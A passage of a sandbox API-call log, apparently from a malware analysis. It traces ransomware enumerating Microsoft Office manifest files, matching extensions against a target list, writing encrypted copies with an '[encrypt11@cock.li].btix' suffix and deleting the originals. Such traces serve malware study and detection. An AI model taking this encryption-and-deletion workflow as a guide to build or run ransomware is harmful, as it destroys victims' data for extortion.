(lpString=".dbf") returned 4 [0050.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.216] lstrlenW (lpString=".1cd") returned 4 [0050.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.217] lstrlenW (lpString=".jpg") returned 4 [0050.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.217] lstrlenW (lpString=".doc") returned 4 [0050.217] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString=".docx") returned 5 [0050.217] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.217] lstrlenW (lpString=".pdf") returned 4 [0050.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString=".xls") returned 4 [0050.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString=".xlsx") returned 5 [0050.217] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.217] lstrlenW (lpString=".ppt") returned 4 [0050.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.217] lstrlenW (lpString=".zip") returned 4 [0050.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.217] lstrlenW (lpString=".rar") returned 4 [0050.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString=".bz2") returned 4 [0050.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.217] lstrlenW (lpString=".7z") returned 3 [0050.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.218] lstrlenW (lpString=".dbf") returned 4 [0050.218] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.218] lstrlenW (lpString=".1cd") returned 4 [0050.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0050.218] lstrlenW (lpString=".jpg") returned 4 [0050.218] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.218] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.218] lstrlenW (lpString="AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 53 [0050.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.218] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=1261) returned 1 [0050.218] CloseHandle (hObject=0x398) returned 1 [0050.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0050.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.219] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.219] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.219] GetLastError () returned 0x0 [0050.219] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0050.244] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0050.246] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.246] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.246] SetEndOfFile (hFile=0x350) returned 1 [0050.246] CloseHandle (hObject=0x350) returned 1 [0050.247] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.247] SetEndOfFile (hFile=0x398) returned 1 [0050.247] CloseHandle (hObject=0x398) returned 1 [0050.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0050.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.248] lstrlenW (lpString=".doc") returned 4 [0050.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.248] lstrlenW (lpString=".docx") returned 5 [0050.248] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.248] lstrlenW (lpString=".pdf") returned 4 [0050.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.248] lstrlenW (lpString=".xls") returned 4 [0050.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.248] lstrlenW (lpString=".xlsx") returned 5 [0050.248] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.248] lstrlenW (lpString=".ppt") returned 4 [0050.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.248] lstrlenW (lpString=".zip") returned 4 [0050.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.249] lstrlenW (lpString=".rar") returned 4 [0050.249] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".bz2") returned 4 [0050.249] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".7z") returned 3 [0050.249] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString=".dbf") returned 4 [0050.249] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString=".1cd") returned 4 [0050.249] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString=".jpg") returned 4 [0050.249] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString=".doc") returned 4 [0050.249] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".docx") returned 5 [0050.249] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.249] lstrlenW (lpString=".pdf") returned 4 [0050.249] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".xls") returned 4 [0050.249] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".xlsx") returned 5 [0050.249] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.249] lstrlenW (lpString=".ppt") returned 4 [0050.249] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.249] lstrlenW (lpString=".zip") returned 4 [0050.249] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.249] lstrlenW (lpString=".rar") returned 4 [0050.249] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.249] lstrlenW (lpString=".bz2") returned 4 [0050.250] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.250] lstrlenW (lpString=".7z") returned 3 [0050.250] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.250] lstrlenW (lpString=".dbf") returned 4 [0050.250] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.250] lstrlenW (lpString=".1cd") returned 4 [0050.250] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0050.250] lstrlenW (lpString=".jpg") returned 4 [0050.250] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.250] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.250] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0050.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.250] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3375) returned 1 [0050.250] CloseHandle (hObject=0x398) returned 1 [0050.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0050.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0050.251] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.251] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.251] GetLastError () returned 0x0 [0050.251] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0050.330] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xd30, lpOverlapped=0x0) returned 1 [0050.331] ReadFile (in: hFile=0x398, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.331] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.332] SetEndOfFile (hFile=0x350) returned 1 [0050.332] CloseHandle (hObject=0x350) returned 1 [0050.333] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.333] SetEndOfFile (hFile=0x398) returned 1 [0050.333] CloseHandle (hObject=0x398) returned 1 [0050.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.339] lstrlenW (lpString=".doc") returned 4 [0050.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.339] lstrlenW (lpString=".docx") returned 5 [0050.339] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.339] lstrlenW (lpString=".pdf") returned 4 [0050.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.339] lstrlenW (lpString=".xls") returned 4 [0050.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.339] lstrlenW (lpString=".xlsx") returned 5 [0050.339] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.339] lstrlenW (lpString=".ppt") returned 4 [0050.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.339] lstrlenW (lpString=".zip") returned 4 [0050.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.339] lstrlenW (lpString=".rar") returned 4 [0050.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.339] lstrlenW (lpString=".bz2") returned 4 [0050.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".7z") returned 3 [0050.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString=".dbf") returned 4 [0050.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString=".1cd") returned 4 [0050.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString=".jpg") returned 4 [0050.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString=".doc") returned 4 [0050.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".docx") returned 5 [0050.340] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.340] lstrlenW (lpString=".pdf") returned 4 [0050.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".xls") returned 4 [0050.340] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".xlsx") returned 5 [0050.340] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.340] lstrlenW (lpString=".ppt") returned 4 [0050.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.340] lstrlenW (lpString=".zip") returned 4 [0050.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.340] lstrlenW (lpString=".rar") returned 4 [0050.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".bz2") returned 4 [0050.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.340] lstrlenW (lpString=".7z") returned 3 [0050.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.341] lstrlenW (lpString=".dbf") returned 4 [0050.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.341] lstrlenW (lpString=".1cd") returned 4 [0050.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0050.341] lstrlenW (lpString=".jpg") returned 4 [0050.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.341] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0050.341] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0050.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.341] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=2173046) returned 1 [0050.341] CloseHandle (hObject=0x350) returned 1 [0050.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0050.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0050.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0050.349] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc64 | out: lpNewFilePointer=0x0) returned 1 [0050.349] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc24 | out: lpNewFilePointer=0x0) returned 1 [0050.349] ReadFile (in: hFile=0x350, lpBuffer=0x4054058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc30, lpOverlapped=0x0 | out: lpBuffer=0x4054058*, lpNumberOfBytesRead=0x366fc30*=0x40000, lpOverlapped=0x0) returned 1 [0050.391] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x366fc24 | out: lpNewFilePointer=0x0) returned 1 [0050.391] ReadFile (in: hFile=0x350, lpBuffer=0x4094058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc30, lpOverlapped=0x0 | out: lpBuffer=0x4094058*, lpNumberOfBytesRead=0x366fc30*=0x40000, lpOverlapped=0x0) returned 1 [0050.478] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x366fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0050.478] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x366fc24 | out: lpNewFilePointer=0x0) returned 1 [0050.478] ReadFile (in: hFile=0x350, lpBuffer=0x40d4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x366fc30, lpOverlapped=0x0 | out: lpBuffer=0x40d4058*, lpNumberOfBytesRead=0x366fc30*=0x40000, lpOverlapped=0x0) returned 1 [0050.546] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.546] WriteFile (in: hFile=0x350, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x366fca8, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0050.557] SetEndOfFile (hFile=0x350) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4363f28 [0050.824] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc74 | out: lpNewFilePointer=0x0) returned 1 [0050.825] WriteFile (in: hFile=0x350, lpBuffer=0x4363f28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc80, lpOverlapped=0x0 | out: lpBuffer=0x4363f28*, lpNumberOfBytesWritten=0x366fc80*=0x40000, lpOverlapped=0x0) returned 1 [0050.826] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x366fc74 | out: lpNewFilePointer=0x0) returned 1 [0050.826] WriteFile (in: hFile=0x350, lpBuffer=0x4363f28*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x366fc80, lpOverlapped=0x0 | out: lpBuffer=0x4363f28*, lpNumberOfBytesWritten=0x366fc80*=0x40000, lpOverlapped=0x0) returned 1 [0050.829] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x366fc74 | out: 